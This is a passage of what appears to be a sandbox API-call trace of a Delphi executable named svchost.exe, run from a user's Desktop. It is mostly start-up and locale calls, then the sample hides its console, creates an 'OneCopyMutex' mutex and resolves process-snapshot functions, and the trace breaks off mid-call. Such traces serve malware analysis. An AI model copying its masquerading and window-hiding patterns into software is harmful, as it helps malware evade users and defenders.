LoadStringW (in: hInstance=0x400000, uID=0xffd8, lpBuffer=0x18dcc8, cchBufferMax=4096 | out: lpBuffer="Invalid variant type conversion") returned 0x1f [0053.302] LoadStringW (in: hInstance=0x400000, uID=0xffe9, lpBuffer=0x18dcc8, cchBufferMax=4096 | out: lpBuffer="Stack overflow") returned 0xe [0053.302] LoadStringW (in: hInstance=0x400000, uID=0xffea, lpBuffer=0x18dcc8, cchBufferMax=4096 | out: lpBuffer="Control-C hit") returned 0xd [0053.302] LoadStringW (in: hInstance=0x400000, uID=0xffeb, lpBuffer=0x18dcc8, cchBufferMax=4096 | out: lpBuffer="Privileged instruction") returned 0x16 [0053.302] LoadStringW (in: hInstance=0x400000, uID=0xffe8, lpBuffer=0x18dcc8, cchBufferMax=4096 | out: lpBuffer="Access violation") returned 0x10 [0053.302] LoadStringW (in: hInstance=0x400000, uID=0xffe6, lpBuffer=0x18dcc8, cchBufferMax=4096 | out: lpBuffer="Invalid class typecast") returned 0x16 [0053.302] LoadStringW (in: hInstance=0x400000, uID=0xffe4, lpBuffer=0x18dcc8, cchBufferMax=4096 | out: lpBuffer="Floating point underflow") returned 0x18 [0053.302] LoadStringW (in: hInstance=0x400000, uID=0xffe3, lpBuffer=0x18dcc8, cchBufferMax=4096 | out: lpBuffer="Floating point overflow") returned 0x17 [0053.302] LoadStringW (in: hInstance=0x400000, uID=0xffe2, lpBuffer=0x18dcc8, cchBufferMax=4096 | out: lpBuffer="Floating point division by zero") returned 0x1f [0053.302] LoadStringW (in: hInstance=0x400000, uID=0xffe1, lpBuffer=0x18dcc8, cchBufferMax=4096 | out: lpBuffer="Invalid floating point operation") returned 0x20 [0053.302] LoadStringW (in: hInstance=0x400000, uID=0xffe0, lpBuffer=0x18dcc8, cchBufferMax=4096 | out: lpBuffer="Integer overflow") returned 0x10 [0053.302] LoadStringW (in: hInstance=0x400000, uID=0xffff, lpBuffer=0x18dcc8, cchBufferMax=4096 | out: lpBuffer="Range check error") returned 0x11 [0053.302] LoadStringW (in: hInstance=0x400000, uID=0xfffe, lpBuffer=0x18dcc8, cchBufferMax=4096 | out: lpBuffer="Division by zero") returned 0x10 [0053.327] LoadStringW (in: hInstance=0x400000, uID=0xfff5, lpBuffer=0x18dcc0, cchBufferMax=4096 | out: lpBuffer="Out of memory") returned 0xd [0053.327] LoadStringW (in: hInstance=0x400000, uID=0xffe5, lpBuffer=0x18dcc0, cchBufferMax=4096 | out: lpBuffer="Invalid pointer operation") returned 0x19 [0053.327] GetVersionExW (in: lpVersionInformation=0x18fbd4*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x18fbd4*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0053.336] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76d30000 [0053.337] LocalAlloc (uFlags=0x40, uBytes=0x8) returned 0x66f338 [0053.337] GetProcAddress (hModule=0x76d30000, lpProcName="GetNativeSystemInfo") returned 0x76d510b5 [0053.337] GetNativeSystemInfo (in: lpSystemInfo=0x18fbb0 | out: lpSystemInfo=0x18fbb0*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0053.398] LoadStringW (in: hInstance=0x400000, uID=0xff46, lpBuffer=0x18db98, cchBufferMax=4096 | out: lpBuffer="Windows") returned 0x7 [0053.399] LoadStringW (in: hInstance=0x400000, uID=0xff49, lpBuffer=0x18db98, cchBufferMax=4096 | out: lpBuffer="Windows 7") returned 0x9 [0053.399] LoadStringW (in: hInstance=0x400000, uID=0xfffd, lpBuffer=0x18dcb8, cchBufferMax=4096 | out: lpBuffer="Invalid numeric input") returned 0x15 [0053.399] LoadStringW (in: hInstance=0x400000, uID=0xfffc, lpBuffer=0x18dcb8, cchBufferMax=4096 | out: lpBuffer="Disk full") returned 0x9 [0053.399] LoadStringW (in: hInstance=0x400000, uID=0xfffb, lpBuffer=0x18dcb8, cchBufferMax=4096 | out: lpBuffer="Read beyond end of file") returned 0x17 [0053.399] LoadStringW (in: hInstance=0x400000, uID=0xfffa, lpBuffer=0x18dcb8, cchBufferMax=4096 | out: lpBuffer="File access denied") returned 0x12 [0053.399] LoadStringW (in: hInstance=0x400000, uID=0xfff9, lpBuffer=0x18dcb8, cchBufferMax=4096 | out: lpBuffer="Too many open files") returned 0x13 [0053.399] LoadStringW (in: hInstance=0x400000, uID=0xfff8, lpBuffer=0x18dcb8, cchBufferMax=4096 | out: lpBuffer="Invalid filename") returned 0x10 [0053.399] LoadStringW (in: hInstance=0x400000, uID=0xfff7, lpBuffer=0x18dcb8, cchBufferMax=4096 | out: lpBuffer="File not found") returned 0xe [0053.399] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fa9e, nSize=0x105 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\svchost.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\svchost.exe")) returned 0x31 [0053.399] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Embarcadero\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18fcac | out: phkResult=0x18fcac*=0x0) returned 0x2 [0053.399] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Embarcadero\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18fcac | out: phkResult=0x18fcac*=0x0) returned 0x2 [0053.400] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\CodeGear\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18fcac | out: phkResult=0x18fcac*=0x0) returned 0x2 [0053.400] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\CodeGear\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18fcac | out: phkResult=0x18fcac*=0x0) returned 0x2 [0053.400] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Borland\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18fcac | out: phkResult=0x18fcac*=0x0) returned 0x2 [0053.400] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Borland\\Delphi\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18fcac | out: phkResult=0x18fcac*=0x0) returned 0x2 [0053.414] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0053.415] GetProcAddress (hModule=0x76d30000, lpProcName="GetLogicalProcessorInformation") returned 0x76dc4761 [0053.415] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76d30000 [0053.415] LocalAlloc (uFlags=0x40, uBytes=0x8) returned 0x66f348 [0053.415] GetProcAddress (hModule=0x76d30000, lpProcName="GetLogicalProcessorInformation") returned 0x76dc4761 [0053.415] GetLogicalProcessorInformation (in: Buffer=0x0, ReturnedLength=0x18fc90 | out: Buffer=0x0, ReturnedLength=0x18fc90) returned 0 [0053.532] GetLastError () returned 0x7a [0053.532] GetLogicalProcessorInformation (in: Buffer=0x1fd99d0, ReturnedLength=0x18fc90 | out: Buffer=0x1fd99d0, ReturnedLength=0x18fc90) returned 1 [0053.533] GetCurrentThreadId () returned 0xa30 [0053.533] GetCurrentThreadId () returned 0xa30 [0053.533] GetVersionExW (in: lpVersionInformation=0x18fba0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x77cb1ecd, dwMinorVersion=0x134ee9, dwBuildNumber=0xfffffffe, dwPlatformId=0x77c70338, szCSDVersion="ǂ矇") | out: lpVersionInformation=0x18fba0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0053.533] GetCurrentThreadId () returned 0xa30 [0053.533] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0053.533] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CompareStringOrdinal", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0053.533] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CompareStringOrdinal", cchWideChar=20, lpMultiByteStr=0x1fe80dc, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CompareStringOrdinal", lpUsedDefaultChar=0x0) returned 20 [0053.533] GetProcAddress (hModule=0x76d30000, lpProcName="CompareStringOrdinal") returned 0x76d60608 [0053.533] GetThreadLocale () returned 0x409 [0053.533] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fbe4 | out: lpCPInfo=0x18fbe4) returned 1 [0053.547] IsValidLocale (Locale=0x409, dwFlags=0x1) returned 1 [0053.557] GetCurrentThreadId () returned 0xa30 [0053.557] GetCurrentThreadId () returned 0xa30 [0053.557] GetLocaleInfoW (in: Locale=0x409, LCType=0x100b, lpLCData=0x18f960, cchData=256 | out: lpLCData="2") returned 2 [0053.576] GetThreadLocale () returned 0x409 [0053.576] EnumCalendarInfoW (lpCalInfoEnumProc=0x42737c, Locale=0x409, Calendar=0x2, CalType=0x4) returned 1 [0053.576] GetThreadLocale () returned 0x409 [0053.577] EnumCalendarInfoW (lpCalInfoEnumProc=0x427414, Locale=0x409, Calendar=0x2, CalType=0x3) returned 1 [0053.577] GetCurrentThreadId () returned 0xa30 [0053.577] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x18f948, cchData=256 | out: lpLCData="Sun") returned 4 [0053.577] GetLocaleInfoW (in: Locale=0x409, LCType=0x30, lpLCData=0x18f948, cchData=256 | out: lpLCData="Sunday") returned 7 [0053.577] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x18f948, cchData=256 | out: lpLCData="Mon") returned 4 [0053.577] GetLocaleInfoW (in: Locale=0x409, LCType=0x2a, lpLCData=0x18f948, cchData=256 | out: lpLCData="Monday") returned 7 [0053.577] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x18f948, cchData=256 | out: lpLCData="Tue") returned 4 [0053.577] GetLocaleInfoW (in: Locale=0x409, LCType=0x2b, lpLCData=0x18f948, cchData=256 | out: lpLCData="Tuesday") returned 8 [0053.577] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x18f948, cchData=256 | out: lpLCData="Wed") returned 4 [0053.577] GetLocaleInfoW (in: Locale=0x409, LCType=0x2c, lpLCData=0x18f948, cchData=256 | out: lpLCData="Wednesday") returned 10 [0053.577] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x18f948, cchData=256 | out: lpLCData="Thu") returned 4 [0053.577] GetLocaleInfoW (in: Locale=0x409, LCType=0x2d, lpLCData=0x18f948, cchData=256 | out: lpLCData="Thursday") returned 9 [0053.577] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x18f948, cchData=256 | out: lpLCData="Fri") returned 4 [0053.577] GetLocaleInfoW (in: Locale=0x409, LCType=0x2e, lpLCData=0x18f948, cchData=256 | out: lpLCData="Friday") returned 7 [0053.577] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x18f948, cchData=256 | out: lpLCData="Sat") returned 4 [0053.577] GetLocaleInfoW (in: Locale=0x409, LCType=0x2f, lpLCData=0x18f948, cchData=256 | out: lpLCData="Saturday") returned 9 [0053.577] GetLocaleInfoW (in: Locale=0x409, LCType=0x44, lpLCData=0x18f94c, cchData=256 | out: lpLCData="Jan") returned 4 [0053.578] GetLocaleInfoW (in: Locale=0x409, LCType=0x38, lpLCData=0x18f94c, cchData=256 | out: lpLCData="January") returned 8 [0053.578] GetLocaleInfoW (in: Locale=0x409, LCType=0x45, lpLCData=0x18f94c, cchData=256 | out: lpLCData="Feb") returned 4 [0053.578] GetLocaleInfoW (in: Locale=0x409, LCType=0x39, lpLCData=0x18f94c, cchData=256 | out: lpLCData="February") returned 9 [0053.578] GetLocaleInfoW (in: Locale=0x409, LCType=0x46, lpLCData=0x18f94c, cchData=256 | out: lpLCData="Mar") returned 4 [0053.578] GetLocaleInfoW (in: Locale=0x409, LCType=0x3a, lpLCData=0x18f94c, cchData=256 | out: lpLCData="March") returned 6 [0053.578] GetLocaleInfoW (in: Locale=0x409, LCType=0x47, lpLCData=0x18f94c, cchData=256 | out: lpLCData="Apr") returned 4 [0053.578] GetLocaleInfoW (in: Locale=0x409, LCType=0x3b, lpLCData=0x18f94c, cchData=256 | out: lpLCData="April") returned 6 [0053.578] GetLocaleInfoW (in: Locale=0x409, LCType=0x48, lpLCData=0x18f94c, cchData=256 | out: lpLCData="May") returned 4 [0053.578] GetLocaleInfoW (in: Locale=0x409, LCType=0x3c, lpLCData=0x18f94c, cchData=256 | out: lpLCData="May") returned 4 [0053.578] GetLocaleInfoW (in: Locale=0x409, LCType=0x49, lpLCData=0x18f94c, cchData=256 | out: lpLCData="Jun") returned 4 [0053.578] GetLocaleInfoW (in: Locale=0x409, LCType=0x3d, lpLCData=0x18f94c, cchData=256 | out: lpLCData="June") returned 5 [0053.578] GetLocaleInfoW (in: Locale=0x409, LCType=0x4a, lpLCData=0x18f94c, cchData=256 | out: lpLCData="Jul") returned 4 [0053.578] GetLocaleInfoW (in: Locale=0x409, LCType=0x3e, lpLCData=0x18f94c, cchData=256 | out: lpLCData="July") returned 5 [0053.578] GetLocaleInfoW (in: Locale=0x409, LCType=0x4b, lpLCData=0x18f94c, cchData=256 | out: lpLCData="Aug") returned 4 [0053.578] GetLocaleInfoW (in: Locale=0x409, LCType=0x3f, lpLCData=0x18f94c, cchData=256 | out: lpLCData="August") returned 7 [0053.578] GetLocaleInfoW (in: Locale=0x409, LCType=0x4c, lpLCData=0x18f94c, cchData=256 | out: lpLCData="Sep") returned 4 [0053.578] GetLocaleInfoW (in: Locale=0x409, LCType=0x40, lpLCData=0x18f94c, cchData=256 | out: lpLCData="September") returned 10 [0053.578] GetLocaleInfoW (in: Locale=0x409, LCType=0x4d, lpLCData=0x18f94c, cchData=256 | out: lpLCData="Oct") returned 4 [0053.578] GetLocaleInfoW (in: Locale=0x409, LCType=0x41, lpLCData=0x18f94c, cchData=256 | out: lpLCData="October") returned 8 [0053.579] GetLocaleInfoW (in: Locale=0x409, LCType=0x4e, lpLCData=0x18f94c, cchData=256 | out: lpLCData="Nov") returned 4 [0053.579] GetLocaleInfoW (in: Locale=0x409, LCType=0x42, lpLCData=0x18f94c, cchData=256 | out: lpLCData="November") returned 9 [0053.579] GetLocaleInfoW (in: Locale=0x409, LCType=0x4f, lpLCData=0x18f94c, cchData=256 | out: lpLCData="Dec") returned 4 [0053.579] GetLocaleInfoW (in: Locale=0x409, LCType=0x43, lpLCData=0x18f94c, cchData=256 | out: lpLCData="December") returned 9 [0053.579] GetLocaleInfoW (in: Locale=0x409, LCType=0x14, lpLCData=0x18f99c, cchData=256 | out: lpLCData="$") returned 2 [0053.579] GetLocaleInfoW (in: Locale=0x409, LCType=0x1b, lpLCData=0x18f99c, cchData=256 | out: lpLCData="0") returned 2 [0053.579] GetLocaleInfoW (in: Locale=0x409, LCType=0x1c, lpLCData=0x18f99c, cchData=256 | out: lpLCData="0") returned 2 [0053.579] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x18fb94, cchData=2 | out: lpLCData=",") returned 2 [0053.579] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x18fb94, cchData=2 | out: lpLCData=".") returned 2 [0053.579] GetLocaleInfoW (in: Locale=0x409, LCType=0x19, lpLCData=0x18f99c, cchData=256 | out: lpLCData="2") returned 2 [0053.579] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x18fb94, cchData=2 | out: lpLCData="/") returned 2 [0053.579] GetLocaleInfoW (in: Locale=0x409, LCType=0x1f, lpLCData=0x18f958, cchData=256 | out: lpLCData="M/d/yyyy") returned 9 [0053.579] GetLocaleInfoW (in: Locale=0x409, LCType=0x1009, lpLCData=0x18f958, cchData=256 | out: lpLCData="1") returned 2 [0053.579] GetLocaleInfoW (in: Locale=0x409, LCType=0x20, lpLCData=0x18f958, cchData=256 | out: lpLCData="dddd, MMMM dd, yyyy") returned 20 [0053.579] GetLocaleInfoW (in: Locale=0x409, LCType=0x1009, lpLCData=0x18f958, cchData=256 | out: lpLCData="1") returned 2 [0053.579] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x18fb94, cchData=2 | out: lpLCData=":") returned 2 [0053.579] GetLocaleInfoW (in: Locale=0x409, LCType=0x28, lpLCData=0x18f99c, cchData=256 | out: lpLCData="AM") returned 3 [0053.579] GetLocaleInfoW (in: Locale=0x409, LCType=0x29, lpLCData=0x18f99c, cchData=256 | out: lpLCData="PM") returned 3 [0053.580] GetLocaleInfoW (in: Locale=0x409, LCType=0x25, lpLCData=0x18f99c, cchData=256 | out: lpLCData="0") returned 2 [0053.580] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x18f99c, cchData=256 | out: lpLCData="0") returned 2 [0053.580] GetLocaleInfoW (in: Locale=0x409, LCType=0x1005, lpLCData=0x18f99c, cchData=256 | out: lpLCData="0") returned 2 [0053.580] GetLocaleInfoW (in: Locale=0x409, LCType=0xc, lpLCData=0x18fb94, cchData=2 | out: lpLCData=",") returned 2 [0053.580] GetModuleHandleW (lpModuleName="oleaut32.dll") returned 0x76e40000 [0053.580] GetProcAddress (hModule=0x76e40000, lpProcName="VariantChangeTypeEx") returned 0x76e44c28 [0053.580] GetProcAddress (hModule=0x76e40000, lpProcName="VarNeg") returned 0x76ebc802 [0053.580] GetProcAddress (hModule=0x76e40000, lpProcName="VarNot") returned 0x76ebec66 [0053.590] GetProcAddress (hModule=0x76e40000, lpProcName="VarAdd") returned 0x76e65934 [0053.590] GetProcAddress (hModule=0x76e40000, lpProcName="VarSub") returned 0x76ebd332 [0053.590] GetProcAddress (hModule=0x76e40000, lpProcName="VarMul") returned 0x76ebdbd4 [0053.591] GetProcAddress (hModule=0x76e40000, lpProcName="VarDiv") returned 0x76ebe405 [0053.591] GetProcAddress (hModule=0x76e40000, lpProcName="VarIdiv") returned 0x76ebf00a [0053.591] GetProcAddress (hModule=0x76e40000, lpProcName="VarMod") returned 0x76ebf15e [0053.670] GetProcAddress (hModule=0x76e40000, lpProcName="VarAnd") returned 0x76e65a98 [0053.670] GetProcAddress (hModule=0x76e40000, lpProcName="VarOr") returned 0x76ebecfa [0053.670] GetProcAddress (hModule=0x76e40000, lpProcName="VarXor") returned 0x76ebee2e [0053.670] GetProcAddress (hModule=0x76e40000, lpProcName="VarCmp") returned 0x76e5b0dc [0053.670] GetProcAddress (hModule=0x76e40000, lpProcName="VarI4FromStr") returned 0x76e56fab [0053.671] GetProcAddress (hModule=0x76e40000, lpProcName="VarR4FromStr") returned 0x76e601a0 [0053.671] GetProcAddress (hModule=0x76e40000, lpProcName="VarR8FromStr") returned 0x76e5699e [0053.671] GetProcAddress (hModule=0x76e40000, lpProcName="VarDateFromStr") returned 0x76e66ba7 [0053.671] GetProcAddress (hModule=0x76e40000, lpProcName="VarCyFromStr") returned 0x76e86c12 [0053.671] GetProcAddress (hModule=0x76e40000, lpProcName="VarBoolFromStr") returned 0x76e5dbd1 [0053.671] GetProcAddress (hModule=0x76e40000, lpProcName="VarBstrFromCy") returned 0x76e67fdc [0053.671] GetProcAddress (hModule=0x76e40000, lpProcName="VarBstrFromDate") returned 0x76e57a2a [0053.671] GetProcAddress (hModule=0x76e40000, lpProcName="VarBstrFromBool") returned 0x76e60355 [0053.683] VarBstrFromBool (in: boolIn=0, lcid=0x400, dwFlags=0x0, pbstrOut=0x18fcd4 | out: pbstrOut=0x18fcd4*="False") returned 0x0 [0053.708] CharLowerBuffW (in: lpsz="False", cchLength=0x5 | out: lpsz="false") returned 0x5 [0053.708] CharUpperBuffW (in: lpsz="False", cchLength=0x5 | out: lpsz="FALSE") returned 0x5 [0053.708] VarBstrFromBool (in: boolIn=1, lcid=0x400, dwFlags=0x0, pbstrOut=0x18fcd4 | out: pbstrOut=0x18fcd4*="True") returned 0x0 [0053.708] CharLowerBuffW (in: lpsz="True", cchLength=0x4 | out: lpsz="true") returned 0x4 [0053.708] CharUpperBuffW (in: lpsz="True", cchLength=0x4 | out: lpsz="TRUE") returned 0x4 [0053.725] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0xc4 [0053.741] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0xc8 [0053.741] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xcc [0053.757] LoadStringW (in: hInstance=0x400000, uID=0xff3c, lpBuffer=0x18dcc8, cchBufferMax=4096 | out: lpBuffer="Invalid time Offset string: %s") returned 0x1e [0053.757] LoadStringW (in: hInstance=0x400000, uID=0xff3b, lpBuffer=0x18dcc8, cchBufferMax=4096 | out: lpBuffer="Invalid time string: %s") returned 0x17 [0053.757] LoadStringW (in: hInstance=0x400000, uID=0xff3a, lpBuffer=0x18dcc8, cchBufferMax=4096 | out: lpBuffer="Invalid date string: %s") returned 0x17 [0053.772] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0053.772] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="InitializeConditionVariable", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0053.772] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="InitializeConditionVariable", cchWideChar=27, lpMultiByteStr=0x1fef51c, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InitializeConditionVariable", lpUsedDefaultChar=0x0) returned 27 [0053.772] GetProcAddress (hModule=0x76d30000, lpProcName="InitializeConditionVariable") returned 0x77c78456 [0053.772] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WakeConditionVariable", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0053.772] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WakeConditionVariable", cchWideChar=21, lpMultiByteStr=0x1fe8244, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WakeConditionVariable", lpUsedDefaultChar=0x0) returned 21 [0053.773] GetProcAddress (hModule=0x76d30000, lpProcName="WakeConditionVariable") returned 0x77ce7de4 [0053.773] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WakeAllConditionVariable", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0053.773] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WakeAllConditionVariable", cchWideChar=24, lpMultiByteStr=0x1fef51c, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WakeAllConditionVariable", lpUsedDefaultChar=0x0) returned 24 [0053.773] GetProcAddress (hModule=0x76d30000, lpProcName="WakeAllConditionVariable") returned 0x77ca409d [0053.773] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SleepConditionVariableCS", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0053.773] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SleepConditionVariableCS", cchWideChar=24, lpMultiByteStr=0x1fef51c, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SleepConditionVariableCS", lpUsedDefaultChar=0x0) returned 24 [0053.773] GetProcAddress (hModule=0x76d30000, lpProcName="SleepConditionVariableCS") returned 0x76dc4b32 [0053.858] GetModuleHandleW (lpModuleName="Kernel32.dll") returned 0x76d30000 [0053.859] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetFileSizeEx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0053.859] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetFileSizeEx", cchWideChar=13, lpMultiByteStr=0x1fd2d2c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetFileSizeEx", lpUsedDefaultChar=0x0) returned 13 [0053.859] GetProcAddress (hModule=0x76d30000, lpProcName="GetFileSizeEx") returned 0x76d459e2 [0053.868] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x230000 [0053.926] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x1fcb37c | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\") returned 0x25 [0053.933] GetConsoleWindow () returned 0x5011c [0054.003] ShowWindow (hWnd=0x5011c, nCmdShow=0) returned 1 [0054.023] FreeConsole () returned 1 [0054.078] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="OneCopyMutex") returned 0x20 [0054.078] WaitForSingleObject (hHandle=0x20, dwMilliseconds=0x0) returned 0x0 [0054.086] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0054.086] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CreateToolhelp32Snapshot", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0054.086] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CreateToolhelp32Snapshot", cchWideChar=24, lpMultiByteStr=0x1fef51c, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateToolhelp32Snapshot", lpUsedDefaultChar=0x0) returned 24 [0054.086] GetProcAddress (hModule=0x76d30000, lpProcName="CreateToolhelp32Snapshot") returned 0x76d6735f [0054.086] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Heap32ListFirst", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0054.086] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Heap32ListFirst", cchWideChar=15, lpMultiByteStr=0x1fd2d6c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Heap32ListFirst", lpUsedDefaultChar=0x0) returned 15 [0054.086] GetProcAddress (hModule=0x76d30000, lpProcName="Heap32ListFirst") returned 0x76dc5621 [0054.086] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Heap32ListNext", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0054.087] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Heap32ListNext", cchWideChar=14, lpMultiByteStr=0x1fd2d6c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Heap32ListNext", lpUsedDefaultChar=0x0) returned 14 [0054.087] GetProcAddress (hModule=0x76d30000, lpProcName="Heap32ListNext") returned 0x76dc56cb [0054.087] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Heap32First", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0054.087] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Heap32First", cchWideChar=11, lpMultiByteStr=0x1fd2d6c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Heap32First", lpUsedDefaultChar=0x0) returned 11 [0054.087] GetProcAddress (hModule=0x76d30000, lpProcName="Heap32First") returned 0x76dc5763 [0054.087] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Heap32Next", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, 